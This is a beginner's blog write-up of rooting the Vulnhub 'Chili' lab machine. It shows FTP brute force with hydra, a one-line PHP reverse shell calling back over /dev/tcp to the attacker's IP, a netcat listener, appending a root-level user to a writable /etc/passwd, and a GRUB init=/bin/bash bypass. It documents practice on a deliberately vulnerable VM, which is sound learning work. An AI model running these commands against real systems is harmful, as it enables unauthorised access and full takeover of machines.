Thanks for checking out my first Vulnhub Box write up! I find these boxes really helpful as I start my journey into the world of cyber security. This is not going to be a traditional walkthrough. I’ll be documenting my entire (well…most) of my thought process, and where I went wrong. Since I’m just starting my journey into the realm of Cyber Security, I hope that some of my pitfalls will help others, and learn from my mistakes. While this one was considered easy, I found it frustrating, yet exciting. It’s always a great time when you get a chance to learn something new.

The Box: Chili⌗

This was one of the newest easy boxes that I found when I visited Vulnhub, so I thought: what the hell, let’s give it a go. Check out the official page for more info on the box itself.

Information Gathering⌗

After struggling a bit to get the box started in VMware Workstation and figuring out what IP address Chili was running on, I was finally able to start doing some information gathering on the machine. If you’re new to this, like I was, and need some help finding the IP address of your Vulnhub machine, netdiscover is a wonderful tool I discovered along the way. As you view the screenshots, the IP address of the Chili box was 192.168.1.50 and my Kali box was 192.168.1.10.

Nmap Scan⌗

sudo nmap -A -Pn -p- 192.168.1.50

The nmap scan revealed two TCP services running on the machine: FTP, and a web server. We can see the vendor and version of the FTP server is vsftpd 3.0.3 and the web server is Apache httpd 2.4.38. We also see that the Linux distribution running is Debian.

This is a good start, we can move on to enumerating the machine.

Enumeration⌗

There really isn’t too much going on with this machine. Only a web server and ftp server are running. Let’s look further into this machine by first checking out the web server.

Website⌗

Going to the IP address in Firefox, it is just a simple website with an image on the home page. Looking at the source code, it shows nothing special going on. No JS libraries, no CSS, nothing that can be leveraged into exploiting.

No worries, let’s enumerate the website a bit further. We can use gobuster to try and find some other directories or files. Nothing. With the web server version, I expanded the lists used and ran it against dirb’s /vuln directory to look for Apache and CGIs lists. Which also revieled nothing.

Next, turn to searchsploit. No were public exploits we can leverage for the Apache HTTP server (at the time of this writing). Looks like this isn’t going to be exploited through the web server. Let’s move on to the FTP server!

FTP Server⌗

From the banner grabbed with nmap we can see that the ftp server running is vsftpd and its of version 3.0.3. At the time of this writing, there is no public exploit available for this version. None of the exploits found within searchsploit nor metasploit work with this version. Trust me, I tried… all of them.

This is where the frustration begins to set in. Maybe I missed something! This is supposed to be an easy box, so there must be some exploit I can leverage to get a foothold into the server. Did I miss a service? 🤔 Is there something else in website I missed? 🤔 Back to looking for more clues.

Information Gathering: The Second Coming⌗

Use the handy dandy nmap scanner again. This time, focus on UDP ports. It takes a while to scan all ports with UDP, but it could be what I’m missing.

sudo nmap -sU -p- 192.168.1.50

There must be something back on the web server I’m missing. Try opening that up in the web browser and start searching!

Enumeration: Again⌗

Not much on the website, only a single image. Wait, is that the clue?

Steganography?⌗

This was an easy box, right? Either way, I want to solve this. Download the Chile_WEB.jpg file and run it through exif to see if there’s anything in the metadata.

exif ~/Downloads/Chile_WEB.jpg
EXIF tags in '/home/kali/Downloads/Chile_WEB.jpg' ('Motorola' byte order):
--------------------+----------------------------------------------------------
Tag                 |Value
--------------------+----------------------------------------------------------
Image Width         |5000
Image Length        |5000
Bits per Sample     |8, 8, 8
Photometric Interpre|RGB
Orientation         |Top-left
Samples per Pixel   |3
X-Resolution        |72.0000
Y-Resolution        |72.0000
Resolution Unit     |Inch
Software            |Adobe Photoshop CS5.1 Macintosh
Date and Time       |2015:08:05 07:27:50
Compression         |JPEG compression
X-Resolution        |72
Y-Resolution        |72
Resolution Unit     |Inch
Exif Version        |Exif Version 2.21
Color Space         |Internal error (unknown value 65535)
Pixel X Dimension   |500
Pixel Y Dimension   |500
FlashPixVersion     |FlashPix Version 1.0
--------------------+----------------------------------------------------------
EXIF data contains a thumbnail (6441 bytes).

Nothing out of the ordinary here either.

That’s when I remembered the hint from the box description:

Hint : “If you ever get stuck, try again with the name of the lab”

Back to the FTP⌗

Okay, time to back to the FTP server and try logging in with chili. I tried it as the username, password, and in combinations of root and ftp usernames. No dice.

Last Resort⌗

Looking online for some way to pen-test against FTP servers, I came across a nice application called THC-Hydra that comes pre-installed on Kali. Prolly not new to you, but it was new to me! Brute force? Why not! I’ve tried everything else.

Fire up hyrda and let’s get bruting! …forcing? cracking!

hydra -l chili -P /usr/share/wordlists/rockyou.txt 192.168.1.4 ftp

Excellent! We’ve successfully found a password by using brute force! We can, finally, log into the ftp server.

Accessing the FTP server⌗

Log in with the credentials chili:a1b2c3d4. This is an ftp server, so I started grabbing anything interesting I could think of. Starting with /etc/passwd and /etc/shadow and /etc/group. I noticed that the /etc/passwd’s file permissions were globally writeable (make a note for later). The /etc/shadow file was protected, and the /etc/group file showed nothing of interest.

Now it’s time to check out the web root at /var/www/html Everything looks as expected. Seems pretty normal. There’s an index.html and the Chile_WEB.jpg image from earlier. No extra directories, no nothing. Trying to add my own file to the web root resulted in a permission denied error. Turns out this directory is not writable to everyone.

Look harder! With ftp we can run ls -lah to see all hidden files/directories. There is a folder that is writeable! .nano

This is where we will run our exploit. But that’s getting ahead of ourselves.

Where I Failed⌗

It’s important to look at where you failed and how make better choices in future engagements. I assumed there would be some kind of exploit, on this machine. Something public, something open, some library, SOMETHING that has a public exploit that I could use get into the machine. There are supposed to be vulnerable machines, so I assumed that there was some vulnerable software. But I always forget to try brute forcing passwords. Bad passwords are a vulnerability too, right?

Exploitation⌗

Now that we have a foot hold into the machine, we can work on exploiting it. We have access to a writable directory on the web server, ftp access, and the ability to run PHP code. With that, we can upload a PHP reverse shell, and then use that to access the machine. Remember earlier, when I mentioned that the /etc/passwd file was writable? This will be our way to create a new user with root permissions. First things first, we need an interactive shell.

Getting a Shell⌗

I used a dead simple PHP reverse shell I found on Github. Having quick access to these are always handy. Check out this great Reverse Shell Cheat Sheet for more options.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'"); ?>

If you’re following along at home, be sure to change the IP address to your machine and the 4444 to the port of your choice. Save that as shell.php in your home directory. From your terminal running ftp, upload it to the .nano directory. You’ll also need to run chmod to make sure that readable by the web server. Otherwise, the server will throw a 500 error when you try to access it.

put shell.php
chmod 777 shell.php

Start up another terminal, and set up a netcat listener on port 4444.

nc -lnvp 4444

Finally access the page via curl and get our shell!!

curl -I http://192.168.1.50/.nano/shell.php

If everything went well, you should now have a shell as the www-data user!

Adding a new User⌗

To get access as a root user, we’ll add a new user to the /etc/passwd file. Here’s a quick breakdown of the /etc/passwd file format.

• username
• password. This is usually denoted as an x, meaning that the password is stored in /etc/shadow. However, /etc/passwd allows for inline passwords.
• UID
• GID
• info. This is just a comment
• home directory
• default shell

Each one of these options are separated by a :.

Now we’ll need to create a password for our new users. Fortunately, openssl can do this for us. I’ll be making my password perfectdark after one of my favorite N64 games.

openssl passwd -6 perfectdark
$6$bUVU7QNn2DA.FdNQ$cnWmdk7YQjvXzbTsIJjhD0gjGwzh./msPYVP2rvu045U5wMFuWR8JfVE/kpQTrG20HHiTvfgUySn4y7sGM//K.

We can craft a new entry and use echo to append it to the end of the file.

echo 'drt:$6$bUVU7QNn2DA.FdNQ$cnWmdk7YQjvXzbTsIJjhD0gjGwzh./msPYVP2rvu045U5wMFuWR8JfVE/kpQTrG20HHiTvfgUySn4y7sGM//K.:0:0:root:/root:/bin/bash' >> /etc/passwd

Getting to root⌗

The rest is pretty straight forward. We are already in a shell prompt. And we know the new drt user’s password. A quick su will get us where we need to go.

su - drt

You’ll notice that the nice shell prompt is gone, which is fine. It’s okay, we’re still in the machine and can run commands. Type in whoami and you’ll see it return root. Huzzah! We got root, grab the loot!

whoami
root
cd /root
ls
proof.txt
cat proof.txt
Sun_CSR.Chili.af...

Conclusion⌗

This was a good machine to get my feet wet in the pool of Vulnhub images. This was definitely a challenge and I learned quite a bit from it. I won’t make some of the same mistakes in future engagements! Hopefully you got a little something out of this is well. Good luck and happy hacking!

Cheating⌗

Since we have access to the “physical machine”, we can quickly cheat to get the contents of proof.txt. You can do a lot of damage when you have physical access to a machine. The way to do this is to edit the GRUB boot options at boot.

When the virtual machine starts up, press e to edit the options. There’s a lot going on but find a line that looks like this:

linux    /boot/vmlinuz-4.19.0-10-amd64 root=UUID=<hard-drive-uuid> ro quiet

remove quiet and replace it with init=/bin/bash. It should look similar to the following.

linux    /boot/vmlinuz-4.19.0-10-amd64 root=UUID=<hard-drive-uuid> ro init=/bin/bash

and finally press CTRL-x to boot the system. This will force the machine to launch a shell instead of its initial boot sequence. From there you can quickly get the flag!

cat /root/proof.txt

I did this when I was extremely frustrated at Chili and didn’t know where to go next. It made me feel a little bit better. But this kind of “attack” isn’t practical in the real world.